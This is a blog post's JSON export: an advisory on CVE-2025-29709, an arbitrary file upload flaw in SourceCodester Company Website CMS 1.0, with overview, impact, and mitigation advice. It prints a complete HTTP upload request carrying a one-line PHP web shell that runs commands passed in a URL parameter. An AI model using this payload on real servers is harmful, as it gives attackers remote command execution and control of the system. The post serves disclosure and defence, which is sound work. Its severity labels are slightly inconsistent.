{"id":30232,"date":"2025-04-24T06:03:05","date_gmt":"2025-04-24T06:03:05","guid":{"rendered":""},"modified":"2025-05-19T06:52:10","modified_gmt":"2025-05-19T06:52:10","slug":"cve-2025-29709-high-risk-file-upload-vulnerability-in-sourcecodester-company-website-cms-1-0","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-29709-high-risk-file-upload-vulnerability-in-sourcecodester-company-website-cms-1-0\/","title":{"rendered":"<strong>CVE-2025-29709: High-Risk File Upload Vulnerability in SourceCodester Company Website CMS 1.0<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>SourceCodester Company Website CMS 1.0 is plagued with a high-risk vulnerability, specifically identified as CVE-2025-29709. This vulnerability affects the &#8220;Create portfolio&#8221; file located in the \/dashboard\/portfolio directory, making the system susceptible to unauthorized file upload exploits. Any organization or individual using the said CMS version should be acutely aware of this vulnerability, as its <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-50123-exploitable-vulnerability-in-hozard-alarm-system-sms-authentication\/\"  data-wpil-monitor-id=\"34928\">exploitation may result in significant system<\/a> compromise or data leakage.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-29709<br \/>\nSeverity: Critical (9.8)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3914-potential-arbitrary-file-uploads-and-system-compromise-in-aeropage-sync-for-airtable-wordpress-plugin\/\"  data-wpil-monitor-id=\"40571\">System compromise<\/a>, potential data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-41533188\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p><a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-29708-critical-file-upload-vulnerability-in-sourcecodester-company-website-cms-1-0\/\"  data-wpil-monitor-id=\"36852\">SourceCodester Company Website CMS<\/a> | 1.0<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-13744-arbitrary-file-upload-vulnerability-in-booster-for-woocommerce-wordpress-plugin\/\"  data-wpil-monitor-id=\"34573\">vulnerability originates from an insufficient check of uploaded files<\/a> within the &#8220;Create portfolio&#8221; feature. This lack of adequate verification <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-6220-piotnet-forms-plugin-vulnerability-in-wordpress-allows-arbitrary-file-uploads\/\"  data-wpil-monitor-id=\"34531\">allows an attacker to upload arbitrary files<\/a>, including malicious scripts, directly onto the server. Once the file has been uploaded, the attacker can execute it, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2007-wordpress-plugin-vulnerability-leads-to-arbitrary-file-deletion-and-potential-system-compromise\/\"  data-wpil-monitor-id=\"34596\">potentially leading<\/a> to full control over the server or resulting in data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3451156991\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here&#8217;s a conceptual example of a malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32668-critical-php-remote-file-inclusion-vulnerability-in-rameez-iqbal-real-estate-manager\/\"  data-wpil-monitor-id=\"34978\">file upload exploiting this vulnerability<\/a>:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/dashboard\/portfolio HTTP\/1.1\nHost: target.example.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;portfolio&quot;; filename=&quot;exploit.php&quot;\nContent-Type: application\/x-php\n&lt;?php system($_GET[&#039;cmd&#039;]); ?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n<p>In this example, a malicious PHP file (`exploit.php`) that allows <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-51073-arbitrary-code-execution-vulnerability-in-buffalo-ls210d\/\"  data-wpil-monitor-id=\"34511\">arbitrary command execution<\/a> is uploaded. Once this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-29281-arbitrary-file-upload-vulnerability-in-perfreeblog-4-0-11\/\"  data-wpil-monitor-id=\"35516\">file is uploaded<\/a> and executed on the server, the attacker can gain control over the system.<\/p>\n<p><strong>Mitigation Measures<\/strong><\/p>\n<p>The most effective <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3844-critical-authentication-bypass-vulnerability-in-peprodev-ultimate-profile-solutions-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"45141\">solution to mitigate this vulnerability<\/a> is to apply a vendor-supplied patch. If such a patch is not available, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide a temporary mitigation. These systems can be configured to detect and block suspicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39557-severe-unrestricted-file-upload-vulnerability-in-kadence-woocommerce-email-designer\/\"  data-wpil-monitor-id=\"36084\">file uploads<\/a>, diminishing the risk of exploitation. Additionally, regular monitoring and logging of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3928-unspecified-vulnerability-in-commvault-web-server-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"40381\">server activity can help in early detection of any potential<\/a> exploitation attempts.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview SourceCodester Company Website CMS 1.0 is plagued with a high-risk vulnerability, specifically identified as CVE-2025-29709. This vulnerability affects the &#8220;Create portfolio&#8221; file located in the \/dashboard\/portfolio directory, making the system susceptible to unauthorized file upload exploits. Any organization or individual using the said CMS version should be acutely aware of this vulnerability, as its [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-30232","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-rce"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/30232","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=30232"}],"version-history":[{"count":12,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/30232\/revisions"}],"predecessor-version":[{"id":40348,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/30232\/revisions\/40348"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=30232"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=30232"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=30232"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=30232"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=30232"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=30232"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=30232"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=30232"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=30232"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}